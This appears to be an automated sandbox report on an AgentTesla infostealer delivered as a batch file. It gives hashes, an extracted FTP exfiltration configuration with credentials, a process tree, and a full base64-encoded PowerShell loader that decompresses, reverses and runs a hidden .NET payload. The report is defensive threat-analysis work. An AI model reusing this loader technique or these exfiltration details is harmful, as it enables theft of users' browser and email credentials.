Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-12-2023 17:30

General

  • Target

    Documents as requested.bat

  • Size

    1006KB

  • MD5

    171e778657c7295e85e8300f360cb8f3

  • SHA1

    514c680ac7eff0d76b0c3ab4a8843aaded52864b

  • SHA256

    79261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45

  • SHA512

    de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04

  • SSDEEP

    24576:kxzN/hRdkbOXdtw3hQxSKXRMUMerPAY0OiXkXdsLg:klLwRkzyTe0SMg

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://files.000webhost.com
  • Port:
    21
  • Username:
    tain00
  • Password:
    computer@2020

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Windows directory 1 IoCs
  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2072
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
        2⤵
          PID:3448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1816
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:2068
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
              3⤵
                PID:1656
              • C:\Windows\system32\xcopy.exe
                xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Documents as requested.bat" C:\Users\Admin\AppData\Local\Temp\Lysnyr.png.bat
                3⤵
                  PID:1332
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo F "
                  3⤵
                    PID:2176
                  • C:\Users\Admin\AppData\Local\Temp\Lysnyr.png
                    C:\Users\Admin\AppData\Local\Temp\Lysnyr.png -win 1 -enc JABTAGcAZwBrAHAAZABxAGIAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQASgBoAHMAdAB5AGEAbgByAHUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAUwBnAGcAawBwAGQAcQBiACkAOwAkAE8AcwBuAGgAcQBqAHgAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQASgBoAHMAdAB5AGEAbgByAHUAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQByAHQAZwBhAHYAeQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAE8AcwBuAGgAcQBqAHgAbgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQByAHQAZwBhAHYAeQB0AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABZAHIAdABnAGEAdgB5AHQALgBDAGwAbwBzAGUAKAApADsAJABPAHMAbgBoAHEAagB4AG4ALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABKAGgAcwB0AHkAYQBuAHIAdQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFoAcwBmAGwAaQBpAHgAZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABKAGgAcwB0AHkAYQBuAHIAdQApADsAIAAkAFcAeABpAGYAbgB1ACAAPQAgACQAWgBzAGYAbABpAGkAeABnAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQAWgBlAGUAaABuAG4AbABmAHYAegBoACAAPQAgACQAVwB4AGkAZgBuAHUALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
                    3⤵
                    • Executes dropped EXE
                    • Drops file in Windows directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2416
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 2464
                      4⤵
                      • Program crash
                      PID:1048
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2416 -ip 2416
                1⤵
                  PID:4328

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\Lysnyr.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • C:\Users\Admin\AppData\Local\Temp\Lysnyr.png.bat

                  Filesize

                  1006KB

                  MD5

                  171e778657c7295e85e8300f360cb8f3

                  SHA1

                  514c680ac7eff0d76b0c3ab4a8843aaded52864b

                  SHA256

                  79261cedc12a63f6a3ee3bb58e45823a27b8a874975a095f6a875836a6bdda45

                  SHA512

                  de2537391585cc7f0124460a81f78bd771f60608228fe19bb564cf44a649693f752465fe82e9cd7edd255361f2b968766da919357088a5624149f12bc7caaf04

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vbihct5o.goz.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • \??\c:\users\admin\appdata\local\temp\lysnyr.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • memory/2416-36-0x0000000007280000-0x00000000072C0000-memory.dmp

                  Filesize

                  256KB

                • memory/2416-10-0x00000000025F0000-0x0000000002626000-memory.dmp

                  Filesize

                  216KB

                • memory/2416-30-0x0000000006100000-0x000000000611A000-memory.dmp

                  Filesize

                  104KB

                • memory/2416-15-0x0000000005500000-0x0000000005566000-memory.dmp

                  Filesize

                  408KB

                • memory/2416-19-0x0000000005570000-0x00000000055D6000-memory.dmp

                  Filesize

                  408KB

                • memory/2416-24-0x00000000057E0000-0x0000000005B34000-memory.dmp

                  Filesize

                  3.3MB

                • memory/2416-25-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

                  Filesize

                  120KB

                • memory/2416-26-0x0000000005C10000-0x0000000005C5C000-memory.dmp

                  Filesize

                  304KB

                • memory/2416-29-0x0000000007410000-0x0000000007A8A000-memory.dmp

                  Filesize

                  6.5MB

                • memory/2416-9-0x0000000004820000-0x0000000004830000-memory.dmp

                  Filesize

                  64KB

                • memory/2416-8-0x00000000750A0000-0x0000000075850000-memory.dmp

                  Filesize

                  7.7MB

                • memory/2416-12-0x0000000004D00000-0x0000000004D22000-memory.dmp

                  Filesize

                  136KB

                • memory/2416-42-0x00000000750A0000-0x0000000075850000-memory.dmp

                  Filesize

                  7.7MB

                • memory/2416-32-0x0000000006E60000-0x0000000006EDA000-memory.dmp

                  Filesize

                  488KB

                • memory/2416-33-0x0000000006FE0000-0x0000000007046000-memory.dmp

                  Filesize

                  408KB

                • memory/2416-35-0x00000000070A0000-0x00000000070E2000-memory.dmp

                  Filesize

                  264KB

                • memory/2416-38-0x0000000004820000-0x0000000004830000-memory.dmp

                  Filesize

                  64KB

                • memory/2416-37-0x0000000004820000-0x0000000004830000-memory.dmp

                  Filesize

                  64KB

                • memory/2416-39-0x0000000008040000-0x00000000085E4000-memory.dmp

                  Filesize

                  5.6MB

                • memory/2416-28-0x0000000004820000-0x0000000004830000-memory.dmp

                  Filesize

                  64KB

                • memory/2416-11-0x0000000004E60000-0x0000000005488000-memory.dmp

                  Filesize

                  6.2MB

                • memory/2416-31-0x0000000006D90000-0x0000000006E58000-memory.dmp

                  Filesize

                  800KB